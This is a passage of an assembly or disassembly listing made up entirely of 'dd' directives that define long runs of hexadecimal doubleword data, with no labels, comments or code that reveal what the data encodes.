0F4E7AA85h, 73013B1Fh, 8819826Dh dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h dd 5D719052h, 85AC8000h dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h dd 2660660Bh, 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h dd 0D444C960h dd 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h dd 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah dd 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h dd 84233200h, 31D016A9h, 96544C9Eh, 4A210075h, 20622464h dd 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h dd 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h dd 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h dd 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h dd 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah dd 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h dd 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch dd 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h dd 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh dd 768F303h, 5615FC99h, 8108A023h, 4500503Eh, 27414C6h dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h dd 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h dd 0AD8D79h dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah dd 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h dd 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh dd 0A9165Ch, 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 